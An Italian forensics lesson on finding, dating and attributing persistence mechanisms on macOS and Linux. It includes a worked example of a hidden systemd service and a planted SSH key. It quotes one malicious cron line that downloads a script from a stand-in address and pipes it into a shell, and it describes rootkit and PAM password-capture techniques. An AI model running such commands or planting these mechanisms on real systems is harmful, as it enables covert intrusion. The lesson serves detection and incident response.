Fondamenti di macOS e Linux · Lezione 5 di 5
Persistenza su macOS e Linux
13 min di lettura
La persistenza è qualsiasi meccanismo che consenta a un intruso o a un malware di sopravvivere a un riavvio, a una disconnessione o a una modifica della password. Su macOS e Linux si tratta quasi sempre di un file: un elenco di proprietà, un file di unità, una riga di crontab, una chiave pubblica. Questa lezione elenca le principali posizioni di avvio automatico su entrambi i sistemi e mostra come distinguere le voci malevole da quelle legittime, datarle e attribuirle. La persistenza su Windows è trattata nel Modulo 2.
Il metodo dell'esaminatore
- Enumerare tutte le posizioni di avvio automatico per quella versione del sistema operativo, sia a livello di sistema sia in ogni directory home, incluse
/roote quelle degli account di servizio comewww-data. - Confrontare con una configurazione di riferimento: un sistema notoriamente integro della stessa build oppure i dati del gestore di pacchetti. Verificare a chi appartiene ciascun file (a un pacchetto, a un bundle firmato di un fornitore, a nessuno?) e se il programma che avvia si trova in una posizione insolita, come
/tmp,/dev/shmo un file con nome che inizia con un punto in/usr/local/bin. - Registrare proprietario, modalità di accesso, tutti i timestamp (ext4 e APFS conservano l'ora di creazione), dimensioni e SHA-256 del file di configurazione e del programma che avvia.
- Ordinare per data e ora e cercare gli elementi creati o modificati nell'intervallo temporale dell'incidente, quindi corroborare con i log (Lezione 6.4) e le evidenze di esecuzione.
- Identificare ciascun riscontro con un ID di tecnica MITRE ATT&CK. Gli ID sono un vocabolario, non una prova: rendono confrontabili le relazioni.
| Tecnica | ID | Sottotecniche per macOS e Linux |
|---|---|---|
| Creazione o modifica di un processo di sistema | T1543 | .001 Agente di avvio, .004 Demone di avvio, .002 Servizio systemd |
| Attività/job pianificato | T1053 | .003 Cron, .006 Timer systemd |
| Manipolazione degli account: chiavi SSH autorizzate | T1098.004 | Chiave pubblica aggiunta |
| Esecuzione attivata da eventi | T1546 | .004 Modifica della configurazione della shell Unix, .017 Regole udev |
| Esecuzione automatica all'avvio o all'accesso | T1547 | .015 Elementi di login, .006 Moduli ed estensioni del kernel |
| Script di inizializzazione all'avvio o all'accesso | T1037 | .004 Script RC |
ID correlati che si incontreranno: T1574.006 Dirottamento del linker dinamico (ld.so.preload), T1556.003 Moduli di autenticazione collegabili, T1505.003 Web shell e T1136.001 Creazione di un account: account locale.
macOS
Demoni e agenti launchd
launchd (PID 1) avvia i job descritti negli elenchi di proprietà; la Lezione 6.1 tratta i plist XML e binari e la loro lettura con plutil -p.
| Cartella | Eseguito come | Avvio |
|---|---|---|
/Library/LaunchDaemons | root, oppure l'account in UserName | All'avvio del sistema, senza utenti connessi |
/Library/LaunchAgents | Ogni utente che effettua l'accesso | All'accesso di ogni utente |
~/Library/LaunchAgents | Quell'utente | All'accesso di quell'utente |
/System/Library/LaunchDaemons e LaunchAgents | Job di Apple | Protetti; non sono un bersaglio abituale |
Le cartelle /System sono protette da System Integrity Protection (SIP, OS X 10.11+) e, da macOS 11, risiedono sul volume di sistema sigillato e di sola lettura; occorre quindi cercare in /Library e nelle cartelle degli utenti. Le chiavi rilevanti:
Label: il nome univoco del job, solitamente in notazione DNS inversa. Un'etichettacom.apple.al di fuori di/Systemmerita un esame approfondito.ProgramoProgramArguments: l'eseguibile e i relativi argomenti; è necessario individuare l'eseguibile e calcolarne l'hash./bin/sh -c,curloosascriptsono segnali di allarme.RunAtLoad: avvia il job non appena viene caricato (all'avvio del sistema o all'accesso).KeepAlive: riavvia il job ogni volta che termina.StartInterval: esegue ogni N secondi (StartCalendarIntervalè la forma simile a cron).
Elementi di login, profili e altri punti di persistenza di macOS
Da macOS 13 Ventura, Background Task Management (BTM) tiene traccia degli elementi di login, degli agenti e dei demoni di avvio, informa l'utente e li elenca in Impostazioni di Sistema > Generali > Elementi login. Il relativo database è /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, dove N varia tra le versioni. È un plist binario nel formato keyed-archive di Apple; su un Mac in esecuzione, sudo sfltool dumpbtm visualizza identificativo, nome dello sviluppatore, tipo, stato e percorso dell'eseguibile di ciascun elemento. Da macOS 10.13 a 12, gli elementi di login erano conservati in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.
- I profili di configurazione (
.mobileconfig) possono installare certificati radice, impostazioni proxy, DNS o VPN, oppure la registrazione MDM: controllo, anziché codice. Elencarli sul sistema in esecuzione consudo profiles list. Da macOS 11, lo strumentoprofilesnon può installare un profilo in modo silenzioso, quindi un profilo non autorizzato implica l'approvazione dell'utente o l'uso di MDM. - cron e periodic esistono ancora, ma sono usati raramente: crontab degli utenti in
/private/var/at/tabs/<user>, script in/etc/periodic/daily|weekly|monthly. - Profili della shell: zsh è la shell predefinita dalla versione 10.15.
~/.zshenvviene eseguito per ogni zsh,~/.zprofileper le shell di login,~/.zshrcper quelle interattive, oltre a/etc/zprofilee/etc/zshrc. Vengono eseguiti solo quando si avvia una shell. - I plugin di autorizzazione in
/Library/Security/SecurityAgentPlugins, una volta referenziati nel database delle autorizzazioni, vengono eseguiti durante l'accesso e possono accedere alla password digitata; le estensioni del kernel (/Library/Extensions, deprecate da macOS 10.15) e le estensioni di sistema (10.15+,systemextensionsctl list) richiedono l'approvazione esplicita dell'utente.
Il modo in cui è arrivato il binario è rilevante. I browser e Mail aggiungono l'attributo com.apple.quarantine (Lezione 6.1), pertanto Gatekeeper verifica firma e autenticazione notarile al primo avvio. curl non lo aggiunge, quindi un binario depositato che ne è privo è compatibile con un download tramite script. Verificare la firma con codesign -dv --verbose=4.
Linux
Servizi e timer systemd
I file di unità vengono letti da /etc/systemd/system (amministratore, priorità massima), /run/systemd/system (runtime) e /lib/systemd/system o /usr/lib/systemd/system (pacchetti). Le unità utente in ~/.config/systemd/user vengono eseguite mentre l'utente è connesso, oppure sempre se il lingering è abilitato (/var/lib/systemd/linger/<user>).
In un'unità, [Service] contiene ExecStart= (il programma), Restart=always (riavvio alla terminazione) e User=; [Install] contiene WantedBy=multi-user.target. systemctl enable agisce su WantedBy creando un collegamento simbolico in /etc/systemd/system/multi-user.target.wants/. Il collegamento è un nuovo inode, quindi la sua ora di creazione (letta senza seguirlo: stat sul collegamento, oppure istat sul relativo inode) indica quando è stato creato l'ultima volta, normalmente da systemctl enable. Controllare anche le cartelle drop-in (<unit>.d/*.conf), che possono sovrascrivere ExecStart= di un servizio legittimo. I timer (.timer con OnCalendar= o OnBootSec=) avviano il .service con lo stesso nome; elencarli sul sistema in esecuzione con systemctl list-timers --all.
cron, chiavi SSH e file di avvio della shell
La Lezione 6.3 ha illustrato le posizioni di cron e at. Le voci malevole si presentano come * root curl -fsSL http://203.0.113.50/k.sh | sh: ogni minuto, un download viene passato tramite pipe a una shell. Sono sospetti anche blocchi di dati base64, un crontab per www-data, un file in /etc/cron.d che non appartiene ad alcun pacchetto.
Per impostazione predefinita, OpenSSH legge .ssh/authorized_keys e .ssh/authorized_keys2 in ogni directory home; controllare sshd_config per AuthorizedKeysFile o AuthorizedKeysCommand. Ogni riga contiene eventuali opzioni, il tipo di chiave, la chiave in base64 e un commento. Il commento è testo libero scelto dal creatore della chiave e non consente alcuna attribuzione. Opzioni come command="…" (forza un comando) o from="198.51.100.0/24" (origini consentite) modificano il comportamento della chiave. ssh-keygen -lf authorized_keys visualizza l'impronta SHA256: di ciascuna chiave, da confrontare con righe di sshd come Accepted publickey for root from … ssh2: ED25519 SHA256:… (Lezione 6.4).
Le shell di login Bash leggono /etc/profile (che carica /etc/profile.d/*.sh) e il primo file disponibile tra ~/.bash_profile, ~/.bash_login e ~/.profile; le shell interattive non di login leggono /etc/bash.bashrc (famiglia Debian) e ~/.bashrc. Esaminare le righe finali alla ricerca di nohup … &, alias sudo= o export LD_PRELOAD=.
Punti di aggancio più profondi
- rc.local e init.d: se
/etc/rc.localesiste ed è eseguibile, systemd lo esegue all'avvio, mentre gli script SysV in/etc/init.dvengono eseguiti tramite un generatore di compatibilità; systemd 260 (2026) ha rimosso entrambi. /etc/ld.so.preload: normalmente assente. Ogni oggetto condiviso elencato viene caricato in tutti i programmi collegati dinamicamente: è la tecnica classica dei rootkit in modalità utente per nascondere file e processi agli strumenti eseguiti sull'host attivo.- Moduli del kernel:
/etc/modules,/etc/modules-load.d/*.confe/etc/modprobe.d/*.conf(le cui righeinstallpossono eseguire comandi).lsmodlegge/proc/modules, che un rootkit può falsificare; confrontare i file dei moduli in/lib/modules/<kernel>/, i messaggi del kernel comemodule verification failed: signature and/or required key missing - tainting kernele la memoria (Modulo 5). - Regole udev: un
RUN+="…"in/etc/udev/rules.d/*.rulesviene eseguito a ogni evento di dispositivo corrispondente. - PAM: una riga in
/etc/pam.d/che aggiungepam_exec.so expose_authtokconsegna ogni password digitata a un programma; unpam_unix.sosostituito può accettare una password universale. - Account: un secondo UID 0 in
/etc/passwd, nuovi membri disudo/wheelo file in/etc/sudoers.d(Lezione 6.3). - Web shell: piccoli file
.phpo.jspin/var/www, di proprietà dell'account del server web.
Verifica tramite il gestore di pacchetti
dpkg -V (o debsums -c) confronta i file con le somme MD5 registrate all'installazione; rpm -Va verifica anche dimensioni, modalità di accesso, proprietario e mtime, visualizzando indicatori come S.5....T. (dimensioni, digest e ora modificati) e c per i file di configurazione, che possono cambiare legittimamente. dpkg -S <path> o rpm -qf <path> indica il pacchetto a cui appartiene un file. Limiti: vengono verificati solo i file appartenenti a pacchetti, quindi una nuova unità, un file cron o una riga di authorized_keys non vengono rilevati; inoltre, un attaccante con privilegi root può modificare il database (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) o gli strumenti. Preferire gli hash dei pacchetti originali provenienti dal mirror della distribuzione, confrontandoli sulla propria workstation con il file system montato in sola lettura.
Riferimento rapido
| Posizione | Sistema operativo | Quando viene eseguito | Come verificare |
|---|---|---|---|
/Library/LaunchDaemons/*.plist | macOS | Avvio del sistema, come root | ProgramArguments, hash della destinazione, crtime |
~/Library/LaunchAgents/*.plist | macOS | Accesso dell'utente | Come sopra, per ogni utente |
BackgroundItems-v<N>.btm | macOS 13+ | Accesso | sfltool dumpbtm (sul sistema in esecuzione) o un parser BTM |
/etc/systemd/system/*.service + *.wants/ | Linux | Avvio del sistema | dpkg -S, crtime del collegamento, ExecStart |
~/.config/systemd/user/ | Linux | Sessione utente | File di lingering, ExecStart |
*.timer, /etc/cron.d, crontab | Entrambi (cron) | Secondo pianificazione | Frequenza, comando, proprietario |
~/.ssh/authorized_keys | Entrambi | Accesso SSH | Impronte confrontate con il log di sshd |
~/.zshrc, ~/.bashrc, /etc/profile.d/*.sh | Entrambi | Avvio della shell | Righe aggiunte in fondo |
/etc/rc.local, /etc/init.d/ | Linux | Avvio del sistema | Esistenza, eseguibilità, proprietario |
/etc/ld.so.preload | Linux | Ogni avvio di programma | Non dovrebbe esistere |
/etc/modules-load.d/, /etc/modprobe.d/ | Linux | Avvio del sistema | File dei moduli, messaggi di contaminazione del kernel |
/etc/udev/rules.d/ | Linux | Evento di dispositivo | Voci RUN+= |
/etc/pam.d/ | Linux | Autenticazione | pam_exec, dpkg -V |
Esempio svolto: un falso helper D-Bus
Un server web Debian 12 (fuso orario UTC−3) è stato compromesso il 14 marzo 2026:
| Elemento | Evidenza | UTC |
|---|---|---|
deploy effettua l'accesso | auth.log: Accepted password for deploy from 198.51.100.23 | 2026-03-14T14:18:05Z |
| Shell root | sudo: deploy : … USER=root ; COMMAND=/bin/bash | 14:19:12Z |
| Chiave aggiunta | mtime e ctime di /root/.ssh/authorized_keys; nuova riga ssh-ed25519, commento backup@web01 | 14:23:37Z |
| Binario depositato | crtime di /usr/local/bin/.dbus-helper; SHA-256 6b856bbe9d9d3448c05fd885e758345f47bba2812bc8b7e15299e82a70ea8142 | 14:25:02Z |
| Servizio abilitato | crtime del collegamento simbolico multi-user.target.wants/dbus-helper.service | 14:26:10Z |
| La sessione termina | session closed for user deploy | 14:31:40Z |
| Chiave utilizzata | Accepted publickey for root from 203.0.113.77 port 40122 ssh2: ED25519 SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU | 2026-03-15T02:07:44Z |
L'unità /etc/systemd/system/dbus-helper.service contiene ExecStart=/usr/local/bin/.dbus-helper, Restart=always e WantedBy=multi-user.target. dpkg -S non trova alcun pacchetto proprietario per nessuno dei due file; l'unità D-Bus autentica è dbus.service in /lib/systemd/system, e il punto iniziale nasconde il binario a un semplice ls.
Datazione dell'abilitazione. stat sul collegamento simbolico visualizza Birth: 2026-03-14 11:26:10.483920117 -0300; 11:26:10 + 3 h = 14:26:10Z. Verificare nell'inode grezzo: i_crtime all'offset 0x90 contiene 02 70 B5 69, little-endian 0x69B57002 = 1.773.498.370 secondi dal 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra a 0x94 contiene D4 23 60 73 = 0x736023D4; spostando a destra di 2 bit si ottengono 483.920.117 ns, e i suoi due bit meno significativi (00) non aggiungono alcuna estensione dell'epoca.
Correlazione della chiave. ssh-keygen -lf sulla nuova riga restituisce SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, identica a quella dell'accesso delle 02:07:44Z; quella chiave è stata quindi utilizzata, da un nuovo indirizzo.
Attribuzione. Tutti e tre gli elementi sono stati creati in sequenza all'interno della shell root della sessione di deploy (dalle 14:18:05Z alle 14:31:40Z). Le ore di creazione mostrano quando sono comparsi gli inode, non chi ha agito; l'intervallo della sessione fornisce tale collegamento, dopo aver controllato wtmp e il journal per individuare altre sessioni aperte in quel momento. touch non può impostare crtime o ctime, quindi un mtime retrodatato non nasconderebbe 14:25:02Z. Riportare T1543.002 e T1098.004.
Focus sull'esame: È richiesto di saper indicare quale cartella e quale account utilizza un job launchd, leggereProgramArguments,RunAtLoadeKeepAlive, e datare un servizio systemd dal relativo collegamento simbolico*.wants. Potrebbe essere necessario correlare un'impronta inauthorized_keysa una rigaAccepted publickey, convertire un'ora locale distatin UTC e fornire il percorso completo e lo SHA-256 di un binario.
Punti chiave
- La persistenza è un file in una posizione di avvio automatico nota; enumerarle tutte, a livello di sistema e per ogni utente, quindi confrontarle con una configurazione di riferimento.
- I LaunchDaemons vengono eseguiti come root all'avvio del sistema; i LaunchAgents vengono eseguiti come l'utente all'accesso;
/System/Libraryappartiene ad Apple ed è sigillata. systemctl enablecrea un collegamento simbolico in*.wants/; l'ora di creazione del collegamento stesso data l'abilitazione.- Dimostrare quale chiave SSH è stata utilizzata confrontandone l'impronta
SHA256:con la rigaAccepted publickeydi sshd; ignorare il commento della chiave. dpkg -Verpm -Vacoprono solo i file appartenenti a pacchetti e si fidano di un database che root può alterare.- Gli ID ATT&CK come T1543, T1053, T1098.004, T1546, T1547 e T1037 identificano i riscontri; non li dimostrano.